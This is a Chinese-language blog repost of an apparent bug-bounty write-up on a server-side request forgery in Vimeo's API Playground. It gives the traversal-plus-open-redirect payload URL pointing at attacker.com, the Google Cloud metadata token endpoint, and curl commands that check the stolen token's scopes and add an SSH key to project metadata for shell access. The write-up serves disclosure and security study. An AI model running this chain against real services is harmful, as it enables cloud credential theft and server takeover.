怎么發(fā)現(xiàn)Vimeo的SSRF漏洞

怎么發(fā)現(xiàn)Vimeo的SSRF漏洞，相信很多沒有經(jīng)驗的人對此束手無策，為此本文總結(jié)了問題出現(xiàn)的原因和解決方法，通過這篇文章希望你能解決這個問題。

下面分享的是一個關(guān)于視頻網(wǎng)站Vimeo的SSRF漏洞（服務(wù)端請求偽造），可以利用開放重定向和谷歌云實例token獲取兩種方法，實現(xiàn)Vimeo服務(wù)端代碼執(zhí)行，危害嚴(yán)重。

漏洞背景

Vimeo在網(wǎng)站https://developer.vimeo.com上部署了一個名為API Playground的API接口，對該網(wǎng)站發(fā)起的請求是都是針對服務(wù)端的，例如以下的錯誤：

仔細(xì)觀察上述POST請求，可以發(fā)現(xiàn)，其中包含了一個面向服務(wù)端的GET請求，該請求可以簡單抽象如下：

https://api.vimeo.com/users/{user_id}/videos/{video_id}

在這個抽象出來的請求中，可以發(fā)現(xiàn)，我們可以控制的參數(shù)有很多。首先當(dāng)然是URI參數(shù)，也就是其中的/users/{user_id}/videos/{video_id}，這里的請求方法是GET，如果請求方法是POST的話，其參數(shù)對應(yīng)的也可以設(shè)置為post參數(shù)。user_id 和 video_id是兩個變量值，其值可在segments中被定義。

服務(wù)端目錄遍歷

我嘗試著在URI參數(shù)中進行一些常用目錄的遍歷，然而幾經(jīng)測試都返回了403狀態(tài)，也就是說，服務(wù)端其實已經(jīng)理解了該請求，但卻拒絕執(zhí)行它。但是，我想因為user_id & videos_id也是包含在URL中的，且應(yīng)該是服務(wù)端的內(nèi)部參數(shù)，所以如果對它們做出更改應(yīng)該是可行的。最終，測試發(fā)現(xiàn)，通過利用../../../這種形式的URL，可以形成一個針對api.vimeo.com服務(wù)端的ROOT級別請求，如下：

大概意思就是，如果構(gòu)造的GET請求如下：

URL.parse(“https://api.vimeo.com/users/1122/videos/../../../attacker”)

則最終響應(yīng)請求的就會是 https://api.vimeo.com/attacker頁面。在上圖中，可以看到，如果其構(gòu)造的請求是經(jīng)認(rèn)證過的，那么最終在響應(yīng)消息中，api.vimeo.com所有可能的響應(yīng)都會被列出來。

通過api.vimeo.com進行提權(quán)

考慮了一會，我覺得這種機制應(yīng)該是遵循HTTP 30X重定向的，說來話長。所以，知道了這點，我們就可以構(gòu)造一個開放重定向方式，讓Vimeo服務(wù)端跳轉(zhuǎn)到我們控制的資源上去。

發(fā)現(xiàn)突破口

經(jīng)過研究，我發(fā)現(xiàn)在api.vimeo.com上某個服務(wù)端，可以跳轉(zhuǎn)到主站vimeo.com上去：

https://api.vimeo.com/m/something

可以跳轉(zhuǎn)到：

https://vimeo.com/m/something

大概思路也就是：

https://api.vimeo.com/m/something/..../open/redirect?url=https://vimeo.com/m/something

那如果我們把redirect?url=后的vimeo.com換成我們控制的網(wǎng)站，不就可以了嗎？所以，基于這個發(fā)現(xiàn)，我們就有了一個很大的范圍去尋找這么一個能成功跳轉(zhuǎn)的api.vimeo.com服務(wù)端，在該漏洞報告中，最終我發(fā)現(xiàn)了一個不太有效的跳轉(zhuǎn)服務(wù)端，此處為了保密考慮，我只給出大概構(gòu)造思路，如下：

https://vimeo/vulnerable/open/redirect?url=https://attacker.com

最終，會成功執(zhí)行一個到attacker.com的臨時重定向的302跳轉(zhuǎn)。

綜合利用形成SSRF

最終構(gòu)造出的可行Payload如下：

../../../m/vulnerable/open/redirect?url=https://attacker.com

結(jié)合前面的目錄遍歷方式，加入video_id，所以最終的跳轉(zhuǎn)URL為：

https://api.vimeo.com/users/1122/videos/../../../m/vulnerable/open/redirect?url=https://attacker.com

解析后會變?yōu)椋?/p>

https://api.vimeo.com/m/vulnerable/open/redirect?url=https://attacker.com

再經(jīng)重定向會變?yōu)椋?/p>

https://vimeo.com/vulnerable/open/redirect?url=https://attacker.com

最后，除了對vimeo.com服務(wù)端的請求外，也會發(fā)起一個針對https://attacker.com的請求，其中，vimeo.com服務(wù)端的響應(yīng)消息為json格式，如下：

其它形式的SSRF漏洞發(fā)現(xiàn)

由于Vimeo的基礎(chǔ)架構(gòu)是部署在Google云上的，所以我第一個想到的就是分析一下Google 元數(shù)據(jù)API接口。因為早前看過André Baptista (@0xacb)的利用谷歌元數(shù)據(jù)接口實現(xiàn)shopify實例SSRF的漏洞報告（$25,000），非常震撼，所以，在此，我就參考@0xacb的方法來對此漏洞進行利用（詳細(xì)請參考SSRF in Exchange leads to ROOT access in all instances）。大概思路是，首先請求以下鏈接：

http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json

它會返回一個account token：

{ “headers”: [ “HTTP/1.1 200”, “Content-Type: application/json”, “Host: api.vimeo.com” ], “code”: 200, “body”: { “access_token”: “ya29.c.EmKeBq9XXDWtXXXXXXXXecIkeR0dFkGT0rJSA”, “expires_in”: 2631, “token_type”: “Bearer” } }

這個account token具備的權(quán)限范圍為：

$ curl https://www.googleapis.com/oauth3/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA  
Response:
{ "issued_to": "101302079XXXXX", "audience": "10130207XXXXX", "scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring", "expires_in": 2443, "access_type": "offline" }

我可以用這個account token把我公共的SSH密鑰添加到Vimeo實例中，然后再通過我的私鑰去連接它，如下：

$ curl -X POST “https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata" -H “Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA” -H “Content-Type: application/json” — data ‘{“items”: [{“key”: “harsh-bugdiscloseguys”, “value”: “harsh-ssrf”}]}Response:{ “kind”: “compute#operation”, “id”: “63228127XXXXXX”, “name”: “operation-XXXXXXXXXXXXXXXXXX”, “operationType”: “compute.projects.setCommonInstanceMetadata”, “targetLink”: “https://www.googleapis.com/compute/v1/projects/vimeo-XXXXX", “targetId”: “10423XXXXXXXX”, “status”: “RUNNING”, “user”: “10423XXXXXXXX-compute@developer.gserviceaccount.com”, “progress”: 0, “insertTime”: “2019–01–27T15:50:11.598–08:00”, “startTime”: “2019–01–27T15:50:11.599–08:00”, “selfLink”: “https://www.googleapis.com/compute/v1/projects/vimeo-XXXXX/global/operations/operation-XXXXXX"}

之后，就會有以下情況，可以成功連接到Vimeo在Google云上的實例：

SSH一般只在內(nèi)網(wǎng)開放，這也經(jīng)足夠說明，可以進一步提權(quán)為shell級別了。另外，還提取出了Google云中的Kubernetes密鑰，但我卻不懂如何用它，好在Vimeo安全團隊認(rèn)為它是有效的。

整個漏洞發(fā)現(xiàn)過程就是這些，也就是存在兩個方面的SSRF風(fēng)險隱患。感謝André Baptista (@0xacb)厲害的漏洞報告參考，Brett (@bbuerhaus)關(guān)于SSRF的writeup，還有Vimeo安全團隊的盡力修復(fù)。

看完上述內(nèi)容，你們掌握怎么發(fā)現(xiàn)Vimeo的SSRF漏洞的方法了嗎？如果還想學(xué)到更多技能或想了解更多相關(guān)內(nèi)容，歡迎關(guān)注億速云行業(yè)資訊頻道，感謝各位的閱讀！